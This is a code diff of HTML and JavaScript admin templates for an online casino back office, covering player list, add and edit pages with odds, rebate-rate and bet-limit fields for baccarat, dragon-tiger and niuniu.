<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
<tr><th>押四条赔率:</th><td id="show_price_bomb"></td></tr>
</table>
</div>
<div class="alert-footer">
<span onclick="hiddenForm('alert_price')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div> </div>
<script> <script>
// 代理列表和添加代理切换 // 代理列表和添加代理切换
@@ -109,8 +166,8 @@
$(this).addClass('actived'); $(this).addClass('actived');
// 页面切换 // 页面切换
var id = $(this).attr('data-id'); var id = $(this).attr('data-id');
if(id == "1") location.href = '/admin/index'; if(id == "1") location.href = '/player/index';
if(id == "2") location.href = '/admin/admin_add'; if(id == "2") location.href = '/player/player_add';
}); });
// 时间选择器 // 时间选择器
layui.use('laydate', function () { layui.use('laydate', function () {
@@ -137,15 +194,15 @@
var query = new Object; var query = new Object;
query.user_id = id; query.user_id = id;
query.status = 0; query.status = 0;
var result = ajax('/admin/change_status', query); var result = ajax('/player/change_status', query);
} else { } else {
// 拼装数据发送后台 解锁 会员 // 拼装数据发送后台 解锁 会员
var query = new Object; var query = new Object;
query.user_id = id; query.user_id = id;
query.status = 1; query.status = 1;
var result = ajax('/admin/change_status', query); var result = ajax('/player/change_status', query);
} }
console.log(query);
// 判断结果 弹出提示 // 判断结果 弹出提示
if (result.code == 1) { if (result.code == 1) {
layer.msg(result.msg, {icon: 1, time: 1500}); layer.msg(result.msg, {icon: 1, time: 1500});
@@ -173,7 +230,7 @@
query.user_id = id; query.user_id = id;
// 发送数据到后台删除会员 // 发送数据到后台删除会员
var result = ajax('/admin/admin_del',query); var result = ajax('/player/player_del',query);
if(result.code == 1){ if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){ layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload(); location.reload();
@@ -210,6 +267,7 @@
var endDate = qs["endDate"]; var endDate = qs["endDate"];
var status = qs["status"]; var status = qs["status"];
var username = qs["username"]; var username = qs["username"];
var agent_parent = qs["agent_parent"];
if(startDate == undefined){ if(startDate == undefined){
startDate = ''; startDate = '';
} }
@@ -222,10 +280,13 @@
if(username == undefined){ if(username == undefined){
username = ''; username = '';
} }
if(agent_parent == undefined){
agent_parent = '';
}
layer.open({ layer.open({
type: 2, type: 2,
title:'用户列表打印', title:'玩家列表打印',
content: '/admin/admin_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username, content: '/player/player_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username+'&agent_parent='+agent_parent,
area: ['95%', '95%'] area: ['95%', '95%']
}); });
}); });
@@ -252,12 +313,50 @@
var startDate = $('#start').val(); var startDate = $('#start').val();
var endDate = $('#end').val(); var endDate = $('#end').val();
var status = $('#status').val(); var status = $('#status').val();
var agent_parent = $('#agent_parent').val();
var username = $('#username').val(); var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){ layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/admin/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&username="+username; location.href = "/player/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&agent_parent="+agent_parent+"&&username="+username;
layer.close(index); layer.close(index);
}); });
}) })
// 显示用户的赔率
function showPrice(obj){
// 获取赔率数据
var price_username = $(obj).attr('price-username');
var price_banker = $(obj).attr('price-banker');
var price_player = $(obj).attr('price-player');
var price_tie_baccarat = $(obj).attr('price-tie-baccarat');
var price_pair = $(obj).attr('price-pair');
var price_dragon = $(obj).attr('price-dragon');
var price_tiger = $(obj).attr('price-tiger');
var price_tie_dt = $(obj).attr('price-tie-dt');
var price_n7_n9 = $(obj).attr('price-n7-n9');
var price_nn = $(obj).attr('price-nn');
var price_5n = $(obj).attr('price-5n');
var price_bomb = $(obj).attr('price-bomb');
// 显示赔率数据
$('#show_price_username').html(price_username+" 的赔率");
$('#show_price_banker').html(price_banker);
$('#show_price_player').html(price_player);
$('#show_price_tie_baccarat').html(price_tie_baccarat);
$('#show_price_pair').html(price_pair);
$('#show_price_dragon').html(price_dragon);
$('#show_price_tiger').html(price_tiger);
$('#show_price_tie_dt').html(price_tie_dt);
$('#show_price_n7_n9').html(price_n7_n9);
$('#show_price_nn').html(price_nn);
$('#show_price_5n').html(price_5n);
$('#show_price_bomb').html(price_bomb);
$('#alert_price').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#' + id).hide();
}
</script> </script>
</body> </body>
+411
View File
@@ -0,0 +1,411 @@
{include file="public/header"}
<style>
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">玩家列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">玩家添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px"></i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">上级代理:</label>
<div class="controls">
<select name="parent_agent" id="parent_agent">
<option value="0"></option>
{foreach name="agent_list" item="vo"}
<option value="{$vo.id}">{$vo.username}</option>
{/foreach}
</select>
</div>
</div>
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 将会成为您唯一的登入名</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">昵称:</label>
<div class="controls">
<input id="L_nickname" name="L_nickname" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 6到16个字符</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 与密码保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">百家乐码率(%):</label>
<div class="controls">
<input id="L_ximalv" name="L_ximalv" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 无上级代理最高不能超过100% </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">龙虎码率(%):</label>
<div class="controls">
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 无上级代理最高不能超过100% </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">占成(%):</label>
<div class="controls">
<input id="L_cs" name="L_cs" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 无上级代理最高不能超过100% </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低限红:</label>
<div class="controls">
<input id="limit_low" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高限红:</label>
<div class="controls">
<input id="limit_high" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
<option value="0">请选择投注方式</option>
<option value="1">网络投注</option>
<option value="2">电话投注</option>
<option value="3">所有投注</option>
</select>
<span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押庄赔率:</label>
<div class="controls">
<input id="price_banker" name="price_banker" type="text" value="0.95" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押闲赔率:</label>
<div class="controls">
<input id="price_player" name="price_player" type="text" value="1" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押对子赔率:</label>
<div class="controls">
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押龙赔率:</label>
<div class="controls">
<input id="price_dragon" name="price_dragon" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押虎赔率:</label>
<div class="controls">
<input id="price_tiger" name="price_tiger" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_dt" name="price_tie_dt" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛7-牛9赔率:</label>
<div class="controls">
<input id="price_n7_n9" name="price_n7_n9" type="text" value="2" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_nn" name="price_nn" type="text" value="3" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押五公赔率:</label>
<div class="controls">
<input id="price_5n" name="price_5n" type="text" value="5" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押四条赔率:</label>
<div class="controls">
<input id="price_bomb" name="price_bomb" type="text" value="4.85" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">日赢上限:</label>
<div class="controls">
<input id="win_limit" name="win_limit" type="text" value="0" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
<font color="red"> * 默认0则为没有限制</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/index';
if(id == "2") location.href = '/player/player_add';
});
//监听提交
$('.submit').click( function(){
// 获取和拼装添加代理的数据
var limit_checkout = new Array();
var query = new Object();
query.parent_agent_id = $('#parent_agent').val();
query.username = $('#L_username').val();
query.nickname = $('#L_nickname').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.ximalv = $('#L_ximalv').val();
query.ximalv_dt = $('#L_ximalv_dt').val();
query.cs = $('#L_cs').val();
query.bet_type = $('#L_bet_type').val();
query.limit_low = $('#limit_low').val();
query.limit_high = $('#limit_high').val();
query.price_banker = $('#price_banker').val();
query.price_player = $('#price_player').val();
query.price_tie_baccarat = $('#price_tie_baccarat').val();
query.price_pair = $('#price_pair').val();
query.price_dragon = $('#price_dragon').val();
query.price_tiger = $('#price_tiger').val();
query.price_tie_dt = $('#price_tie_dt').val();
query.price_n7_n9 = $('#price_n7_n9').val();
query.price_nn = $('#price_nn').val();
query.price_5n = $('#price_5n').val();
query.price_bomb = $('#price_bomb').val();
query.win_limit = $('#win_limit').val();
// 验证数据
if(query.username.length == 0){
layer.alert("请填写账号!");
return false;
}
if(query.nickname.length == 0){
layer.alert("请填写昵称!");
return false;
}
if(query.pass.length <= 0){
layer.alert("请填写密码!");
return false;
}
if(query.pass.length > 0 && query.pass.length < 6){
layer.alert("密码长度为6到16个字符!");
return false;
}
if(query.pass != query.repass){
layer.alert("两次密码不一致!");
return false;
}
if(query.ximalv >= 100){
layer.alert("洗码率最高不能超过100%!");
return false;
}
if(query.ximalv_dt >= 100){
layer.alert("洗码率最高不能超过100%!");
return false;
}
if(query.cs > 100){
layer.alert("占成最高不能超过100%!");
return false;
}
if(query.bet_type <= 0){
layer.alert("请选择投注方式");
return false;
}
if(query.price_banker <= 0){
layer.alert("押庄赔率必须大于0");
return false;
}
if(query.price_player <= 0){
layer.alert("押闲赔率必须大于0");
return false;
}
if(query.price_tie_baccarat <= 0){
layer.alert("押和(百家乐)赔率必须大于0");
return false;
}
if(query.price_pair <= 0){
layer.alert("押对子赔率必须大于0");
return false;
}
if(query.price_dragon <= 0){
layer.alert("押龙赔率必须大于0");
return false;
}
if(query.price_tiger <= 0){
layer.alert("押虎赔率必须大于0");
return false;
}
if(query.price_tie_dt <= 0){
layer.alert("押和(龙虎斗)赔率必须大于0");
return false;
}
if(query.price_n7_n9 <= 0){
layer.alert("押牛7-牛9赔率必须大于0");
return false;
}
if(query.price_nn <= 0){
layer.alert("押牛牛赔率必须大于0");
return false;
}
if(query.price_5n <= 0){
layer.alert("押五公赔率必须大于0");
return false;
}
if(query.price_bomb <= 0){
layer.alert("押四条赔率必须大于0");
return false;
}
if(query.win_limit.length <= 0){
layer.alert("日赢上限不能为空");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/player/do_player_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/player/index";
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
+389
View File
@@ -0,0 +1,389 @@
{include file="public/header"}
<style>
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">玩家修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px"></i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">上级代理:</label>
<div class="controls">
<input id="L_parent_agent" name="L_parent_agent" type="text" value="{$parent_agent.username}" maxlength="50" minlength="3" class="required" readonly>
<span class="help-inline">
<font color="red"> </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value="{$player.username}" readonly maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">昵称:</label>
<div class="controls">
<input id="L_nickname" name="L_nickname" type="text" value="{$player.nickname}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 不填密码默认不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 不填密码默认不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value="{$player.mobile}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value="{$player.email}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">百家乐码率(%):</label>
<div class="controls">
<input id="L_ximalv" name="L_ximalv" type="text" value="{$player.agent_ximalv}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv}%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">龙虎码率(%):</label>
<div class="controls">
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="{$player.agent_ximalv_dt}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv_dt}%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">占成(%):</label>
<div class="controls">
<input id="L_cs" name="L_cs" type="text" value="{$player.agent_cs}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 洗码率不能超过{$parent_agent.agent_cs}%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低限红:</label>
<div class="controls">
<input id="limit_low" name="limit_low" type="text" maxlength="10" class="required" value="{$player.limit_low}"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高限红:</label>
<div class="controls">
<input id="limit_high" name="limit_high" type="text" maxlength="10" class="required" value="{$player.limit_high}"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
<option value="0">请选择投注方式</option>
<option value="1" <?php if($player['bet_type'] == 1) {echo 'selected';} ?>>网络投注</option>
<option value="2" <?php if($player['bet_type'] == 2) {echo 'selected';} ?>>电话投注</option>
<option value="3" <?php if($player['bet_type'] == 3) {echo 'selected';} ?>>所有投注</option>
</select>
<span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押庄赔率:</label>
<div class="controls">
<input id="price_banker" name="price_banker" type="text" value="{$player.price_banker}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押闲赔率:</label>
<div class="controls">
<input id="price_player" name="price_player" type="text" value="{$player.price_player}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="{$player.price_tie_baccarat}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押对子赔率:</label>
<div class="controls">
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押龙赔率:</label>
<div class="controls">
<input id="price_dragon" name="price_dragon" type="text" value="{$player.price_dragon}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押虎赔率:</label>
<div class="controls">
<input id="price_tiger" name="price_tiger" type="text" value="{$player.price_tiger}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_dt" name="price_tie_dt" type="text" value="{$player.price_tie_dt}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛7-牛9赔率:</label>
<div class="controls">
<input id="price_n7_n9" name="price_n7_n9" type="text" value="{$player.price_n7_n9}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_nn" name="price_nn" type="text" value="{$player.price_nn}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押五公赔率:</label>
<div class="controls">
<input id="price_5n" name="price_5n" type="text" value="{$player.price_5n}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押四条赔率:</label>
<div class="controls">
<input id="price_bomb" name="price_bomb" type="text" value="{$player.price_bomb}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">日赢上限:</label>
<div class="controls">
<input id="win_limit" name="win_limit" type="text" value="{$player.win_limit}" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
<font color="red"> * 默认0则为没有限制</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="player-id" value="{$player.id}">
<input type="hidden" id="parent-ximalv" value="{$parent_agent.agent_ximalv}">
<input type="hidden" id="parent-ximalv-dt" value="{$parent_agent.agent_ximalv_dt}">
<input type="hidden" id="parent-cs" value="{$parent_agent.agent_cs}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/index';
if(id == "2") location.href = '/player/player_edit';
});
//监听提交
$('.submit').click(function () {
// 获取和拼装添加代理的数据
var limit_checkout = new Array();
var query = new Object();
query.player_id = $('#player-id').val();
query.username = $('#L_username').val();
query.nickname = $('#L_nickname').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.ximalv = $('#L_ximalv').val();
query.ximalv_dt = $('#L_ximalv_dt').val();
query.cs = $('#L_cs').val();
query.bet_type = $('#L_bet_type').val();
var parent_ximalv = $('#parent-ximalv').val();
var parent_ximalv_dt = $('#parent-ximalv-dt').val();
var parent_cs = $('#parent-cs').val();
query.limit_low = $('#limit_low').val();
query.limit_high = $('#limit_high').val();
query.price_banker = $('#price_banker').val();
query.price_player = $('#price_player').val();
query.price_tie_baccarat = $('#price_tie_baccarat').val();
query.price_pair = $('#price_pair').val();
query.price_dragon = $('#price_dragon').val();
query.price_tiger = $('#price_tiger').val();
query.price_tie_dt = $('#price_tie_dt').val();
query.price_n7_n9 = $('#price_n7_n9').val();
query.price_nn = $('#price_nn').val();
query.price_5n = $('#price_5n').val();
query.price_bomb = $('#price_bomb').val();
query.win_limit = $('#win_limit').val();
// 验证数据
if(query.pass.length > 0){
if(query.pass.length >= 6){
if(query.pass != query.repass){
layer.msg("两次密码不一致!");
return false;
}
}else{
layer.msg("密码不能少于6位字符!");
return false;
}
}
if(parseFloat(query.ximalv) > parseFloat(parent_ximalv) || parseFloat(query.ximalv_dt) > parseFloat(parent_ximalv_dt)){
layer.msg("码率不能超过父级码率");
return false;
}
if(parseFloat(query.cs) > parseFloat(parent_cs)){
layer.msg("占成不能超过父级占成");
return false;
}
if(query.bet_type <= 0){
layer.alert("请选择投注方式");
return false;
}
if(query.price_banker <= 0){
layer.alert("押庄赔率必须大于0");
return false;
}
if(query.price_player <= 0){
layer.alert("押闲赔率必须大于0");
return false;
}
if(query.price_tie_baccarat <= 0){
layer.alert("押和(百家乐)赔率必须大于0");
return false;
}
if(query.price_dragon <= 0){
layer.alert("押龙赔率必须大于0");
return false;
}
if(query.price_tiger <= 0){
layer.alert("押虎赔率必须大于0");
return false;
}
if(query.price_tie_dt <= 0){
layer.alert("押和(龙虎斗)赔率必须大于0");
return false;
}
if(query.price_n7_n9 <= 0){
layer.alert("押牛7-牛9赔率必须大于0");
return false;
}
if(query.price_nn <= 0){
layer.alert("押牛牛赔率必须大于0");
return false;
}
if(query.price_5n <= 0){
layer.alert("押五公赔率必须大于0");
return false;
}
if(query.price_bomb <= 0){
layer.alert("押四条赔率必须大于0");
return false;
}
if(query.win_limit.length <= 0){
layer.alert("日赢上限不能为空");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/player/do_player_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = '/player/index';
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
+250
View File
@@ -0,0 +1,250 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:80px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:150px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert .alert-main{width:600px;height:200px;overflow-y: scroll;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main th{width:40%; border-left:none; text-align:right;}
.alert-main td{border-right:none; }
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">实时数据</a>
</span>
